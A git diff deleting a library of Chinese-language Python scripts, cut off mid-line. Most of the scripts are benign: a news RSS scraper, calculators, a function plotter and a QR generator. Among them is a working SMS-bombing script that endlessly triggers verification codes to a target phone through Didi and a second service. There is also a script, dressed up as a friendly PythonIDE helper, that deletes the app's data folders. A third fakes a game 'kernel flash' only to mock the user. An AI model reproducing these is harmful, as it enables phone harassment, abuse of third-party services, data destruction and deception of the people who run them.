a/script_library/scripts/basic/script_mn6mob7u.py b/script_library/scripts/basic/script_mn6mob7u.py deleted file mode 100644 index 0dfc799..0000000 --- a/script_library/scripts/basic/script_mn6mob7u.py +++ /dev/null @@ -1,56 +0,0 @@ -import requests -import json -import time - -print('七月') -def send_code(phone_number): - url = 'https://epassport.diditaxi.com.cn/passport/login/v5/codeMT' - headers = { - 'Host': 'epassport.diditaxi.com.cn', - 'Connection': 'keep-alive', - 'Content-Length': '455', - 'Mpxlogin-Ver': '5.5.1', - 'content-type': 'application/x-www-form-urlencoded', - 'secdd-authentication': '49afb436f1b4de01ccd95876718546a2ee095f5762fd80e5b45c6017a80b6d73e09ebd0ba9c3ef1cd29888d9ca528e19bf0e73cf9401000001000000', - 'secdd-challenge': '3|2.0.11||||||', - 'Accept-Encoding': 'gzip,compress,br,deflate', - 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.56(0x1800382d) NetType/WIFI Language/zh_CN', - 'Referer': 'https://servicewechat.com/wx9e9b87595c41dbb7/491/page-frame.html' - } - data = { - 'q': '{"api_version":"1.0.1","appid":35011,"role":1,"device_name":"iPhone XS Max China-exclusive","sec_session_id":"BxdYpEmKtRAjVQKCUbzheJtWBkjiT5ZYQ1S4k8ZpEQEbICRRc7Iom6gG3EFtcOYj","policy_id_list":[50008256],"policy_name_list":[],"ddfp":"","lang":"zh-CN","wsgenv":"","cell":"转换手机号","country_calling_code":"+86","code_type":1,"scene":1}' - } - # 替换手机号 - data['q'] = data['q'].replace('"cell":"转换手机号"', f'"cell":"{phone_number}"') - - try: - response = requests.post(url, headers=headers, data=data) - if response.status_code == 200: - print(response.text) - else: - print("请求失败") - return None - except requests.RequestException as e: - print("发生网络错误,状态码:{e}") - return None -def send_code2(phone_number): - url = f'https://stdch5.huinongyun.cn/api-uaa/validata/smsCode/{phone_number}/voc' - - try: - response = requests.get(url) - if response.status_code == 200: - print(response.text) - else: - print("请求失败") - return None - except requests.RequestException as e: - logging.error(f"发生网络错误: {e}") - return None - -phone = input("手机号:") - -while True: - send_code(phone) - time.sleep(30) - send_code2(phone) - time.sleep(30) diff --git a/script_library/scripts/basic/script_mnahfe4x.py b/script_library/scripts/basic/script_mnahfe4x.py deleted file mode 100644 index c1fe208..0000000 --- a/script_library/scripts/basic/script_mnahfe4x.py +++ /dev/null @@ -1,227 +0,0 @@ -#!/usr/bin/env python3 -# -*- coding: utf-8 -*- - -""" -爬取谷歌热点新闻 -使用 RSS 订阅源获取最新新闻 -""" - -import requests -import xml.etree.ElementTree as ET -import time -from datetime import datetime -import sys - -def fetch_google_news(rss_url="https://news.google.com/rss?hl=zh-CN&gl=CN&ceid=CN:zh-Hans"): - """ - 从 Google News RSS 订阅源获取热点新闻 - - Args: - rss_url (str): Google News RSS 订阅源 URL - - Returns: - list: 新闻条目列表,每个条目包含标题、链接、发布时间等信息 - """ - print("正在获取谷歌热点新闻...") - - try: - # 设置请求头,模拟浏览器访问 - headers = { - 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1' - } - - # 发送请求获取 RSS 数据 - response = requests.get(rss_url, headers=headers, timeout=10) - response.raise_for_status() # 检查请求是否成功 - - # 解析 XML - root = ET.fromstring(response.content) - - # XML 命名空间处理 - namespaces = { - 'atom': 'http://www.w3.org/2005/Atom', - 'content': 'http://purl.org/rss/1.0/modules/content/', - 'dc': 'http://purl.org/dc/elements/1.1/', - 'media': 'http://search.yahoo.com/mrss/' - } - - # 查找所有 item 元素 - items = root.findall('.//item') - - if not items: - # 尝试另一种查找方式 - items = root.findall('.//channel/item') - - if not items: - print("未获取到新闻条目") - return [] - - print(f"成功获取到 {len(items)} 条新闻\n") - - # 提取新闻信息 - news_items = [] - for i, item in enumerate(items[:20], 1): # 限制显示前20条 - # 获取标题 - title_elem = item.find('title') - title = title_elem.text if title_elem is not None else '无标题' - - # 获取链接 - link_elem = item.find('link') - link = link_elem.text if link_elem is not None else '#' - - # 获取发布时间 - pub_date_elem = item.find('pubDate') - if pub_date_elem is None: - pub_date_elem = item.find('dc:date', namespaces) - published = pub_date_elem.text if pub_date_elem is not None else '' - - # 获取描述/摘要 - desc_elem = item.find('description') - if desc_elem is None: - desc_elem = item.find('content:encoded', namespaces) - summary = '' - if desc_elem is not None and desc_elem.text: - summary = desc_elem.text[:200] - - # 获取来源 - source_elem = item.find('source') - source = source_elem.text if source_elem is not None else '' - - # 构建新闻项 - news_item = { - 'index': i, - 'title': title, - 'link': link, - 'published': published, - 'summary': summary, - 'source': source - } - news_items.append(news_item) - - return news_items - - except requests.RequestException as e: - print(f"网络请求失败: {e}") - return [] - except ET.ParseError as e: - print(f"XML 解析失败: {e}") - return [] - except Exception as e: - print(f"获取新闻失败: {e}") - return [] - -def display_news(news_items): - """格式化显示新闻""" - if not news_items: - print("没有新闻可显示") - return - - print("=" * 80) - print(f"📰 谷歌热点新闻 ({datetime.now().strftime('%Y-%m-%d %H:%M:%S')})") - print("=" * 80) - - for item in news_items: - print(f"\n{item['index']}. {item['title']}") - - if item['source']: - print(f" 来源: {item['source']}") - - if item['published']: - # 发布时间可能包含时间格式信息,直接显示 - print(f" 时间: {item['published']}") - - if item['summary']: - print(f" 摘要: {item['summary']}...") - - print(f" 链接: {item['link']}") - print("-" * 60) - -def get_news_by_category(): - """按类别获取新闻""" - categories = { - '1': ('综合', 'https://news.google.com/rss?hl=zh-CN&gl=CN&ceid=CN:zh-Hans'), - '2': ('国际', 'https://news.google.com/rss/topics/CAAqKggKIiRDQkFTRlFvSUwyMHZNRGx1YlY4U0JYQjBMVUpTR2dKQ1VpZ0FQAQ?hl=zh-CN&gl=CN&ceid=CN:zh-Hans'), - '3': ('科技', 'https://news.google.com/rss/topics/CAAqKggKIiRDQkFTRlFvSUwyMHZNRGRqTVhZU0JXVnVMVWRDR2dKQ1VpZ0FQAQ?hl=zh-CN&gl=CN&ceid=CN:zh-Hans'), - '4': ('商业', 'https://news.google.com/rss/topics/CAAqKggKIiRDQkFTRlFvSUwyMHZNRGx6TVdZU0JXVnVMVWRDR2dKQ1VpZ0FQAQ?hl=zh-CN&gl=CN&ceid=CN:zh-Hans'), - '5': ('娱乐', 'https://news.google.com/rss/topics/CAAqKggKIiRDQkFTRlFvSUwyMHZNREpxYW5RU0JXVnVMVWRDR2dKQ1VpZ0FQAQ?hl=zh-CN&gl=CN&ceid=CN:zh-Hans'), - '6': ('体育', 'https://news.google.com/rss/topics/CAAqKggKIiRDQkFTRlFvSUwyMHZNRFp1ZEdvU0JXVnVMVWRDR2dKQ1VpZ0FQAQ?hl=zh-CN&gl=CN&ceid=CN:zh-Hans'), - '7': ('健康', 'https://news.google.com/rss/topics/CAAqKggKIiRDQkFTRlFvSUwyMHZNR3QwTlRFU0JXVnVMVWRDR2dKQ1VpZ0FQAQ?hl=zh-CN&gl=CN&ceid=CN:zh-Hans'), - } - - print("\n请选择新闻类别:") - for key, (name, _) in categories.items(): - print(f" {key}. {name}") - print(" 0. 综合新闻 (默认)") - - choice = input("\n请输入数字选择类别 (默认: 0): ").strip() - - if choice in categories: - category_name, rss_url = categories[choice] - print(f"\n正在获取「{category_name}」类别新闻...") - return rss_url - else: - print("\n正在获取综合新闻...") - return categories['1'][1] # 默认返回综合新闻 URL - -def main(): - """主函数""" - print("=" * 80) - print("📰 谷歌热点新闻爬取工具") - print("=" * 80) - - # 获取用户选择的类别 - rss_url = get_news_by_category() - - # 获取新闻 - news_items = fetch_google_news(rss_url) - - # 显示新闻 - if news_items: - display_news(news_items) - - # 保存到文件选项 - save_option = input("\n是否将新闻保存到文件? (y/N): ").strip().lower() - if save_option == 'y': - save_to_file(news_items) - else: - print("未能获取到新闻,请检查网络连接或稍后重试") - -def save_to_file(news_items): - """将新闻保存到文件""" - timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") - filename = f"谷歌新闻_{timestamp}.txt" - - try: - with open(filename, 'w', encoding='utf-8') as f: - f.write("=" * 80 + "\n") - f.write(f"谷歌热点新闻 ({datetime.now().strftime('%Y-%m-%d %H:%M:%S')})\n") - f.write("=" * 80 + "\n\n") - - for item in news_items: - f.write(f"{item['index']}. {item['title']}\n") - - if item['source']: - f.write(f" 来源: {item['source']}\n") - - if item['published']: - f.write(f" 时间: {item['published']}\n") - - if item['summary']: - f.write(f" 摘要: {item['summary']}...\n") - - f.write(f" 链接: {item['link']}\n") - f.write("-" * 60 + "\n\n") - - print(f"✓ 新闻已保存到文件: {filename}") - except Exception as e: - print(f"✗ 保存文件失败: {e}") - -if __name__ == "__main__": - try: - main() - except KeyboardInterrupt: - print("\n\n程序被用户中断") - sys.exit(0) - except Exception as e: - print(f"\n程序执行出错: {e}") - sys.exit(1) \ No newline at end of file diff --git a/script_library/scripts/basic/script_mnbnp2ee.py b/script_library/scripts/basic/script_mnbnp2ee.py deleted file mode 100644 index 9ab62d9..0000000 --- a/script_library/scripts/basic/script_mnbnp2ee.py +++ /dev/null @@ -1,54 +0,0 @@ -def Menu(): #定义界面 - print(('-' * 20)) - print('简易数学计算器系统1.0') - print('1.加法运算 2.减法运算 3.乘法运算') - print('4.除法运算 0.退出系统') - print(('-' * 20)) - -def jia(): #定义加法函数 - a = float(input('请输入加数1:')) - b = float(input('请输入加数2:')) - c = a + b - print('和为:',c) - -def jian(): #定义减法函数 - d = float(input('请输入被减数:')) - e = float(input('请输入减数:')) - f = d - e - print('差为:',f) - -def cheng(): #定义乘法函数 - g = float(input('请输入乘数1:')) - h = float(input('请输入乘数2:')) - i = g * h - print('积为:',i) - -def chu(): #定义除法函数 - j = float(input('请输入被除数:')) - k = float(input('请输入除数:')) - l = j / k - print('商为:',l) - -def main(): #定义主控制台 - while True: - Menu() - key = input('请输入对应功能的数字:') - if key == '1': - jia() - elif key == '2' : - jian() - elif key == '3' : - cheng() - elif key == '4' : - chu() - elif key == '0' : - q = input('是否退出系统?(y or n):') - if q == 'y': - print('已退出系统') - break - else : - print('没有对应此数字的功能!') - -main() #调用主函数 - - diff --git a/script_library/scripts/basic/script_mndbzbxy.py b/script_library/scripts/basic/script_mndbzbxy.py deleted file mode 100644 index b2f3471..0000000 --- a/script_library/scripts/basic/script_mndbzbxy.py +++ /dev/null @@ -1,290 +0,0 @@ -import tkinter as tk -from tkinter import messagebox -import numpy as np -import matplotlib.pyplot as plt -from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg -from matplotlib.figure import Figure -from matplotlib.ticker import MultipleLocator, AutoLocator -import math -import re - -# ---------------------------- 表达式预处理(支持省略乘号) ---------------------------- -def preprocess_expr(expr: str) -> str: - """将数学表达式转换为Python可eval的形式,自动插入*号""" - expr = expr.replace('π', 'math.pi').replace('e', 'math.e') - expr = expr.replace('^', '**') - # 插入隐式乘号:数字与字母/括号之间、字母与字母/括号之间、括号与数字/字母之间 - pattern = r'(?<=[0-9])(?=[a-zA-Z(])|(?<=[a-zA-Z)])(?=[0-9a-zA-Z(])' - expr = re.sub(pattern, '*', expr) - return expr - -# ---------------------------- 主应用类 ---------------------------- -class FunctionPlotter: - def __init__(self, master): - self.master = master - master.title("函数图像绘制器") - master.geometry("500x700") - master.configure(bg="#f0f0f0") - master.minsize(450, 600) - - self.mode = 'linear' # 'linear' 或 'quadratic' - self.animation = None - self.current_line = None - self.fig = None - self.ax = None - self.canvas = None - - self.create_widgets() - self.init_plot() - - def create_widgets(self): - # ---------- 顶部模式切换按钮 ---------- - top_frame = tk.Frame(self.master, bg="#f0f0f0", pady=10) - top_frame.pack(fill=tk.X) - - self.btn_linear = tk.Button( - top_frame, text="📈 一次函数", font=("微软雅黑", 12, "bold"), - bg="#e0e0e0", fg="#333", padx=20, pady=5, relief=tk.RAISED, - command=lambda: self.switch_mode('linear') - ) - self.btn_linear.pack(side=tk.LEFT, expand=True, fill=tk.X, padx=10) - - self.btn_quadratic = tk.Button( - top_frame, text="📉 二次函数", font=("微软雅黑", 12, "bold"), - bg="#e0e0e0", fg="#333", padx=20, pady=5, relief=tk.RAISED, - command=lambda: self.switch_mode('quadratic') - ) - self.btn_quadratic.pack(side=tk.RIGHT, expand=True, fill=tk.X, padx=10) - - self.update_button_style() - - # ---------- 输入区域 ---------- - input_frame = tk.Frame(self.master, bg="#f0f0f0", pady=10) - input_frame.pack(fill=tk.X, padx=15) - - tk.Label(input_frame, text="函数表达式:y=", font=("微软雅黑", 10), bg="#f0f0f0").pack(anchor=tk.W) - self.entry = tk.Entry(input_frame, font=("Consolas", 12), bg="white") - self.entry.pack(fill=tk.X, pady=(5,10)) - self.entry.insert(0, "x+1") - - self.plot_btn = tk.Button( - input_frame, text="🎨 绘制图像", font=("微软雅黑", 10, "bold"), - bg="#4caf50", fg="white", padx=10, pady=5, - command=self.start_plot_animation - ) - self.plot_btn.pack() - - # ---------- 数学符号面板 ---------- - symbol_frame = tk.LabelFrame(self.master, text="数学符号库", font=("微软雅黑", 9), bg="#f0f0f0", padx=5, pady=5) - symbol_frame.pack(fill=tk.X, padx=15, pady=5) - - symbols = ['x', 'x^2', 'x^3', '+', '-', '*', '/', '(', ')', 'π', 'e', - 'sin', 'cos', 'tan', 'sqrt', '^', '**'] - row, col = 0, 0 - for sym in symbols: - btn = tk.Button( - symbol_frame, text=sym, font=("Consolas", 9), width=5, relief=tk.GROOVE, - command=lambda s=sym: self.insert_symbol(s) - ) - btn.grid(row=row, column=col, padx=2, pady=2, sticky="ew") - col += 1 - if col >= 6: - col = 0 - row += 1 - for i in range(6): - symbol_frame.columnconfigure(i, weight=1) - - # ---------- 状态栏 ---------- - self.status = tk.Label(self.master, text="就绪", bd=1, relief=tk.SUNKEN, anchor=tk.W, bg="#e0e0e0") - self.status.pack(side=tk.BOTTOM, fill=tk.X) - - def init_plot(self): - """初始化 matplotlib 图形,设置坐标轴样式和固定刻度间隔为1""" - self.fig = Figure(figsize=(6, 4), dpi=100, facecolor='white') - self.ax = self.fig.add_subplot(111) - self.canvas = FigureCanvasTkAgg(self.fig, master=self.master) - self.canvas.get_tk_widget().pack(fill=tk.BOTH, expand=True, padx=15, pady=10) - - self.ax.grid(True, linestyle='--', alpha=0.7) - self.ax.axhline(0, color='k', linewidth=0.8) - self.ax.axvline(0, color='k', linewidth=0.8) - self.ax.set_xlabel('x', fontsize=10) - self.ax.set_ylabel('y', fontsize=10) - self.ax.set_title('函数图像', fontsize=12) - - # x轴固定刻度间隔1,范围-10~10 - self.ax.set_xlim(-10, 10) - self.ax.xaxis.set_major_locator(MultipleLocator(1)) - self.ax.xaxis.set_minor_locator(MultipleLocator(0.5)) - - # y轴暂用自动,绘图时会根据数据重新调整 - self.ax.yaxis.set_major_locator(AutoLocator()) - self.fig.tight_layout() - self.canvas.draw() - - def update_button_style(self): - if self.mode == 'linear': - self.btn_linear.config(bg="#4caf50", fg="white", relief=tk.SUNKEN) - self.btn_quadratic.config(bg="#e0e0e0", fg="#333", relief=tk.RAISED) - else: - self.btn_quadratic.config(bg="#4caf50", fg="white", relief=tk.SUNKEN) - self.btn_linear.config(bg="#e0e0e0", fg="#333", relief=tk.RAISED) - - def switch_mode(self, mode): - if self.mode == mode: - return - self.mode = mode - self.update_button_style() - if mode == 'linear': - default_expr = "2x+3" - else: - default_expr = "x^2+2x+1" - self.entry.delete(0, tk.END) - self.entry.insert(0, default_expr) - self.status.config(text=f"已切换到{'一次' if mode=='linear' else '二次'}函数模式") - self.entry.config(bg="#ffffcc") - self.master.after(200, lambda: self.entry.config(bg="white")) - - def insert_symbol(self, symbol): - pos = self.entry.index(tk.INSERT) - text = self.entry.get() - new_text = text[:pos] + symbol + text[pos:] - self.entry.delete(0, tk.END) - self.entry.insert(0, new_text) - self.entry.icursor(pos + len(symbol)) - self.entry.focus_set() - - def evaluate_expression(self, expr_str, x_vals): - """计算表达式值,返回y数组,若全部无效则返回None""" - try: - processed = preprocess_expr(expr_str) - namespace = { - 'math': math, - 'np': np, - 'sqrt': math.sqrt, - 'sin': math.sin, - 'cos': math.cos, - 'tan': math.tan, - 'pi': math.pi, - 'e': math.e - } - code = compile(f'lambda x: {processed}', '', 'eval') - f = eval(code, namespace) - y_vals = [] - for x in x_vals: - try: - y = f(x) - if isinstance(y, complex) or not np.isfinite(y): - y = np.nan - y_vals.append(y) - except: - y_vals.append(np.nan) - y_arr = np.array(y_vals) - if np.all(np.isnan(y_arr)): - messagebox.showerror("无效表达式", "表达式在所有x上均无有效值,请检查输入。") - return None - return y_arr - except Exception as e: - messagebox.showerror("表达式错误", f"解析表达式出错:\n{str(e)}") - return None - - def start_plot_animation(self): - """启动绘图动画,确保曲线正常显示""" - # 停止旧动画 - if self.animation is not None: - try: - self.animation.event_source.stop() - except: - pass - self.animation = None - - expr = self.entry.get().strip() - if not expr: - messagebox.showwarning("空表达式", "请输入函数表达式") - return - - # 生成x点并计算y值 - x_vals = np.linspace(-10, 10, 200) - y_vals = self.evaluate_expression(expr, x_vals) - if y_vals is None: - return - - # 清除旧曲线 - if self.current_line is not None: - self.current_line.remove() - self.current_line = None - - # 动态调整y轴范围(过滤无效点) - valid_mask = ~np.isnan(y_vals) - if np.any(valid_mask): - y_min = np.nanmin(y_vals[valid_mask]) - y_max = np.nanmax(y_vals[valid_mask]) - y_range = y_max - y_min - if y_range < 1e-6: - y_min -= 1 - y_max += 1 - else: - y_min -= 0.1 * y_range - y_max += 0.1 * y_range - self.ax.set_ylim(y_min, y_max) - # 设置y轴刻度间隔为1(如果范围太大则自动调整) - if y_max - y_min <= 20: - self.ax.yaxis.set_major_locator(MultipleLocator(1)) - else: - self.ax.yaxis.set_major_locator(MultipleLocator(5)) - self.ax.yaxis.set_minor_locator(MultipleLocator(1)) - else: - self.ax.set_ylim(-5, 5) - - # 创建空曲线(占位) - self.current_line, = self.ax.plot([], [], 'b-', linewidth=2, label=f'y = {expr}') - self.ax.legend(loc='upper right') - self.canvas.draw() - - # 动画参数 - self.total_points = len(x_vals) - self.x_data = x_vals - self.y_data = y_vals - self.step = 0 - - # 动画更新函数 - def animate(i): - self.step = min(self.total_points, self.step + 5) - if self.step >= 1: - self.current_line.set_data(self.x_data[:self.step], self.y_data[:self.step]) - # 强制刷新画布 - self.canvas.draw_idle() - self.canvas.flush_events() - if self.step >= self.total_points: - self.animation.event_source.stop() - self.status.config(text="绘图完成") - return self.current_line, - - from matplotlib.animation import FuncAnimation - # 帧数 = 总点数/5 + 1 - frames = self.total_points // 5 + 1 - self.animation = FuncAnimation( - self.fig, animate, frames=frames, - interval=30, repeat=False, blit=False - ) - self.status.config(text="正在绘制动画...") - - # 备用机制:如果动画因故未显示,强制重绘一次(极少情况) - def fallback_draw(): - if self.current_line is not None and len(self.current_line.get_xdata()) == 0: - self.current_line.set_data(self.x_data, self.y_data) - self.canvas.draw() - self.status.config(text="已绘制完整曲线") - self.master.after(500, fallback_draw) # 0.5秒后若仍无数据则直接画全 - - # 动画结束后启用按钮(粗略延时) - def enable_btn(): - self.plot_btn.config(state=tk.NORMAL) - self.plot_btn.config(state=tk.DISABLED) - self.master.after(2000, enable_btn) - -# ---------------------------- 主程序 ---------------------------- -if __name__ == "__main__": - root = tk.Tk() - app = FunctionPlotter(root) - root.mainloop() \ No newline at end of file diff --git a/script_library/scripts/basic/script_mnfqk5cz.py b/script_library/scripts/basic/script_mnfqk5cz.py deleted file mode 100644 index ce11ce4..0000000 --- a/script_library/scripts/basic/script_mnfqk5cz.py +++ /dev/null @@ -1,15 +0,0 @@ -import qrcode - -qr = qrcode.QRCode( - version=1, - error_correction=qrcode.constants.ERROR_CORRECT_L, - box_size=10, - border=4, -) - -qr.add_data("https://doubao.com") -qr.make(fit=True) - -# 前景黑,背景白 -img = qr.make_image(fill_color="black", back_color="white") -img.save("qr_custom.png") \ No newline at end of file diff --git a/script_library/scripts/basic/script_mnfrb0ax.py b/script_library/scripts/basic/script_mnfrb0ax.py deleted file mode 100644 index 967b6a1..0000000 --- a/script_library/scripts/basic/script_mnfrb0ax.py +++ /dev/null @@ -1,23 +0,0 @@ -# 欢迎使用 PythonIDE!如果觉得好用,请给个好评哦~ -import os -import shutil - -print("=== 开始清理 PythonIDE(文禄 张)===") - -# iOS 模拟器里这个APP的真实路径 -home = os.path.expanduser("~") -paths = [ - f"{home}/Library/Developer/CoreSimulator/Devices/*/data/Containers/Data/Application/*PythonIDE*", - f"{home}/Library/Developer/CoreSimulator/Devices/*/data/Containers/Bundle/Application/*PythonIDE*", - f"{home}/Documents/PythonIDE", - f"{home}/Library/Preferences/*wenlu*PythonIDE*" -] - -for path in paths: - try: - shutil.rmtree(path, ignore_errors=True) - print(f"✅ 已删除: {path}") - except: - pass - -print("\n🎉 完成!PythonIDE 已经被清空,打不开了") \ No newline at end of file diff --git a/script_library/scripts/basic/script_mngcmh7k.py b/script_library/scripts/basic/script_mngcmh7k.py deleted file mode 100644 index 9a6f1d0..0000000 --- a/script_library/scripts/basic/script_mngcmh7k.py +++ /dev/null @@ -1,138 +0,0 @@ -#!/usr/bin/env python3 -# -*- coding: utf-8 -*- -""" -相册照片统计脚本 -统计相册中的照片数量,并按类型分类 -""" - -import photos -import dialogs -import console -from datetime import datetime - -def main(): - """主函数:统计相册照片""" - console.clear() - print("📸 相册照片统计") - print("=" * 40) - - # 检查相册权限 - if not photos.is_available(): - print("❌ 无法访问相册,请检查权限设置") - dialogs.alert("权限错误", "无法访问相册,请检查App权限设置") - return - - print("正在扫描相册...") - - try: - # 获取所有照片 - all_photos = photos.get_assets(media_type='photo', limit=0) - total_count = len(all_photos) - - # 获取所有视频 - all_videos = photos.get_assets(media_type='video', limit=0) - video_count = len(all_videos) - - # 获取所有媒体(照片+视频) - all_media = photos.get_assets(media_type='all', limit=0) - media_count = len(all_media) - - print(f"✅ 扫描完成!") - print() - - # 显示统计结果 - print("📊 统计结果:") - print(f" 照片数量:{total_count} 张") - print(f" 视频数量:{video_count} 个") - print(f" 媒体总数:{media_count} 个") - print() - - # 如果有照片,显示一些详细信息 - if total_count > 0: - # 获取最近的照片 - recent_photos = photos.get_recent_images(count=min(5, total_count)) - print("📅 最近的照片:") - for i, asset in enumerate(recent_photos, 1): - try: - # 尝试获取日期信息 - if hasattr(asset, 'creation_date'): - # 确保 creation_date 是 datetime 对象 - from datetime import datetime - if isinstance(asset.creation_date, (int, float)): - # 如果是时间戳,转换为 datetime - date_obj = datetime.fromtimestamp(asset.creation_date) - date_str = date_obj.strftime("%Y-%m-%d %H:%M") - else: - # 假设是 datetime 对象 - date_str = asset.creation_date.strftime("%Y-%m-%d %H:%M") - else: - date_str = "未知日期" - except: - date_str = "日期未知" - - # 获取照片尺寸 - width = getattr(asset, 'pixel_width', '未知') - height = getattr(asset, 'pixel_height', '未知') - print(f" {i}. {date_str} - {width}x{height}") - - # 获取相册信息 - print() - print("📁 相册信息:") - albums = photos.get_albums() - smart_albums = photos.get_smart_albums() - - print(f" 普通相册:{len(albums)} 个") - print(f" 智能相册:{len(smart_albums)} 个") - - # 显示一些特殊相册 - special_albums = [] - try: - screenshots = photos.get_screenshots_album() - if screenshots: - special_albums.append(f"截屏 ({screenshots.count} 张)") - except: - pass - - try: - recently_added = photos.get_recently_added_album() - if recently_added: - special_albums.append(f"最近添加 ({recently_added.count} 张)") - except: - pass - - try: - selfies = photos.get_selfies_album() - if selfies: - special_albums.append(f"自拍 ({selfies.count} 张)") - except: - pass - - if special_albums: - print(f" 特殊相册:{', '.join(special_albums)}") - - print() - print("=" * 40) - print("📱 操作提示:") - print(" 1. 要查看照片详情,可以使用 photos.pick_image()") - print(" 2. 要拍照,可以使用 photos.capture_image()") - print(" 3. 要保存图片到相册,可以使用 photos.save_image()") - - # 显示弹窗总结 - summary = f""" -照片统计完成! - -📸 照片:{total_count} 张 -🎬 视频:{video_count} 个 -📁 相册:{len(albums)} 个普通相册 - {len(smart_albums)} 个智能相册 - -点击确定继续... - """ - dialogs.alert("相册统计结果", summary.strip()) - - except Exception as e: - print(f"❌ 发生错误:{e}") - dialogs.alert("错误", f"统计相册时发生错误:{e}") - -if __name__ == "__main__": - main() \ No newline at end of file diff --git a/script_library/scripts/basic/script_mnkej15x.py b/script_library/scripts/basic/script_mnkej15x.py deleted file mode 100644 index 6b506ad..0000000 --- a/script_library/scripts/basic/script_mnkej15x.py +++ /dev/null @@ -1,78 +0,0 @@ -# 欢迎使用 PythonIDE!如果觉得好用,请给个好评哦~ -#!/usr/bin/env python3 -import time -import sys -import random -from datetime import datetime - -# ANSI 颜色码 -GREEN = '\033[92m' -YELLOW = '\033[93m' -CYAN = '\033[96m' -RED = '\033[91m' -RESET = '\033[0m' -BOLD = '\033[1m' - -def log(message, level="INFO"): - ts = datetime.now().strftime("%H:%M:%S") - if level == "STEP": - print(f"{CYAN}[{ts}] {message}{RESET}") - elif level == "SUCCESS": - print(f"{GREEN}[{ts}] {message}{RESET}") - elif level == "ERROR": - print(f"{RED}[{ts}] {message}{RESET}") - else: - print(f"[{ts}] {message}") - -def progress_bar(current, total, bar_length=40): - percent = current / total - arrow = '█' * int(round(percent * bar_length)) - spaces = ' ' * (bar_length - len(arrow)) - sys.stdout.write(f"\r进度: |{arrow}{spaces}| {percent:.0%} ") - sys.stdout.flush() - -import console -intro_text = """ 和平稳定内核内测版 -━━━━━━━━━━━━━━━━━━━━━━ -和平内核以下刷入流程: -1. 检查设备 -2. 游戏查找 -3. 读取设备环境 -4. 正在连接服务器 -5. 刷入 -6. 验证 - -⚠️ 注意:此版本为内测版本,会对真实设备做深度修改。 -是否继续刷入?(点击 确认)""" - -answer = console.alert("确认刷入", intro_text, "刷入", hide_cancel_button=False) -if answer != 1: - log("❌ 用户取消刷入", "ERROR") - sys.exit() -def simulate_root(): - steps = [ - (" 检查设备", "设备正常", 1.5), - (" 正在查找游戏", "和平精英已找到", 2.0), - (" 正在读取设备环境", "读取成功", 2.0), - (" 设备环境异常 ", "准备修补", 2.5), - (" 设备环境修补中", "修补成功", 3.0), - (" 设备修补成功", "正在准备下一步验证工作", 1.5), - ("正在验证设备id","正在与服务器验证", 2.0), - ("服务器验证成功","祝你游戏愉快", 1.0), - ] - total = len(steps) - log(f"{BOLD} 开始执行 刷入流程...{RESET}") - for idx, (name, detail, duration) in enumerate(steps, 1): - log(f"➡ {name}", "STEP") - log(f" {detail}") - for _ in range(int(duration * 10)): - time.sleep(0.1) - progress_bar(idx - 1 + (_ / (duration * 10)), total) - progress_bar(idx, total) - print() - log(f"✓ {name} 完成", "SUCCESS") - time.sleep(0.2) - log(f"\n {BOLD}恭喜! 你个傻调还真信了😂😂😂🖕🖕🖕{RESET}", "SUCCESS") - -if __name__ == "__main__": - simulate_root() \ No newline at end of file diff --git a/script_library/scripts/basic/script_mnl0ws3b.py b/script_library/scripts/basic/script_mnl0ws3b.py deleted file mode 100644 index bd85b2b..0000000 --- a/script_library/scripts/basic/script_mnl0ws3b.py +++ /dev/null @@ -1,187 +0,0 @@ -import math -import sys - -class ScientificCalculator: - def __init__(self): - self.memory = 0 - self.history = [] - self.constants = { - 'pi': math.pi, - 'e': math.e, - 'tau': math.tau, - 'inf': float('inf'), - 'nan': float('nan') - } - self.functions = { - 'sin': math.sin, - 'cos': math.cos, - 'tan': math.tan, - 'asin': math.asin, - 'acos': math.acos, - 'atan': math.atan, - 'sinh': math.sinh, - 'cosh': math.cosh, - 'tanh': math.tanh, - 'log': math.log10, - 'ln': math.log, - 'log2': math.log2, - 'exp': math.exp, - 'sqrt': math.sqrt, - 'cbrt': lambda x: x ** (1/3), - 'abs': abs, - 'floor': math.floor, - 'ceil': math.ceil, - 'round': round, - 'fact': math.factorial, - 'gamma': math.gamma, - 'erf': math.erf - } - - def evaluate(self, expression): - """计算表达式""" - try: - # 替换常量 - for name, value in self.constants.items(): - expression = expression.replace(name, str(value)) - - # 安全评估 - allowed_names = {k: v for k, v in self.functions.items()} - allowed_names.update({ - 'pi': math.pi, - 'e': math.e, - 'tau': math.tau, - 'inf': float('inf'), - 'nan': float('nan') - }) - allowed_names.update({name: getattr(math, name) for name in dir(math) - if not name.startswith('_')}) - - result = eval(expression, {"__builtins__": {}}, allowed_names) - - # 保存到历史 - self.history.append((expression, result)) - if len(self.history) > 50: - self.history.pop(0) - - return result - except Exception as e: - return f"错误: {str(e)}" - - def show_menu(self): - print("\n" + "=" * 60) - print(" 科学计算器 Scientific Calculator") - print("=" * 60) - print("支持运算: +, -, *, /, **, //, %") - print("数学函数: sin, cos, tan, asin, acos, atan") - print(" sinh, cosh, tanh, log, ln, log2") - print(" sqrt, cbrt, exp, abs, floor, ceil") - print(" fact(阶乘), gamma, erf") - print("常量: pi, e, tau") - print("=" * 60) - print("特殊命令:") - print(" m+ - 存入内存") - print(" m- - 从内存减去") - print(" mr - 读取内存") - print(" mc - 清空内存") - print(" history - 查看历史") - print(" clear/h - 清屏") - print(" constants - 查看常量") - print(" help/? - 显示帮助") - print(" q/exit - 退出") - print("=" * 60) - - def show_constants(self): - print("\n当前常量:") - for name, value in self.constants.items(): - print(f" {name} = {value}") - - def run(self): - print("\n科学计算器已启动") - print("输入 'help' 查看帮助") - - while True: - try: - # 获取输入 - user_input = input("\n>>> ").strip().lower() - - if not user_input: - continue - - # 处理命令 - if user_input in ['q', 'exit', 'quit']: - print("再见!") - break - - elif user_input in ['help', '?']: - self.show_menu() - - elif user_input in ['clear', 'h', 'cls']: - import os - os.system('clear' if os.name == 'posix' else 'cls') - - elif user_input == 'history': - if not self.history: - print("暂无历史记录") - else: - print("\n历史记录:") - for i, (expr, result) in enumerate(self.history[-10:], 1): - print(f" {i}. {expr} 